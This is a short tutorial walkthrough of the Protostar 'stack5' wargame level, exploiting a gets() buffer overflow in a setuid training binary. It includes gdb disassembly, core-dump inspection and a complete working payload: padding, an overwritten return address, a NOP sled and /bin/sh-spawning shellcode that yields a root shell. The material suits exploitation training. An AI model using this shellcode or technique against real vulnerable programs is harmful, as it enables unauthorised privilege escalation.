Jump into shellcode (protostar - stack5)
Tags: security, beginners, hacking
Published: 2021-01-10 14:49:41


## Analysis

```
root@protostar:/opt/protostar/bin# file stack5
stack5: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

root@protostar:/opt/protostar/bin# gdb -q stack5
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
```

Let's test some dumb inputs:
```
root@protostar:/opt/protostar/bin# python -c "print 'A'*75" | ./stack5
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ./stack5
Segmentation fault
```

What about libraries used:
```
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ltrace ./stack5
__libc_start_main(0x80483c4, 1, 0xbffffd74, 0x80483f0, 0x80483e0 <unfinished ...>
gets(0xbffffc80, 0xb7ec6165, 0xbffffc88, 0xb7eada75, 0xb7fd7ff4)         = 0xbffffc80
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
```

Ok fine, `gets` is a dangerous function and shouln't be used. Let's figure out why.

## Exploitation

Let's prepare a crash dump:

```
root@protostar:/opt/protostar/bin# ulimit -c unlimited
root@protostar:/opt/protostar/bin# printf 1 > /proc/sys/fs/suid_dumpable
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ./stack5
Segmentation fault (core dumped)
root@protostar:/opt/protostar/bin# file /tmp/core.11.stack5.1915
/tmp/core.11.stack5.1915: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from './stack5'
```

Now we open the crash dump and inspect the stack:
```
root@protostar:/opt/protostar/bin# gdb -q -c /tmp/core.11.stack5.1915
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0xb7eadc03 in ?? ()
(gdb) x/40x $esp-80
0xbffffc8c:     0xb7eada75      0x41414141      0x41414141      0x41414141
0xbffffc9c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcac:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcbc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffccc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcdc:     0x41414141      0x00000001      0xbffffd84      0xbffffd8c
0xbffffcec:     0xb7fe1848      0xbffffd40      0xffffffff      0xb7ffeff4
0xbffffcfc:     0x08048232      0x00000001      0xbffffd40      0xb7ff0626
0xbffffd0c:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffd1c:     0x00000000      0xbffffd58      0x130bb1dd      0x394a07cd
(gdb)
```

We're going to write some code on the stack and use **eip** to jump into it.
We can help ourselves with a 'nop sled' (consecutive nop opcodes) to find the entrypoint more easily:

```
root@protostar:/opt/protostar/bin# python -c "print 'A'*76+'\xe8\xfc\xff\xbf'+'\x90'*20+'\x31\xc0\x31\xdb\xb0\x06\xcd\x
80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\
xe1\x99\xb0\x0b\xcd\x80'" > payload
root@protostar:/opt/protostar/bin# cat payload | ./stack5
# id
uid=0(root) gid=0(root) groups=0(root)
```

This payload fills the buffer with 76 **A**'s, then overwrites the instruction
pointer with `0xbffffce8` which is somewhere in our following nop sled of **0x90**'s
and then our shellcode spawning a shell.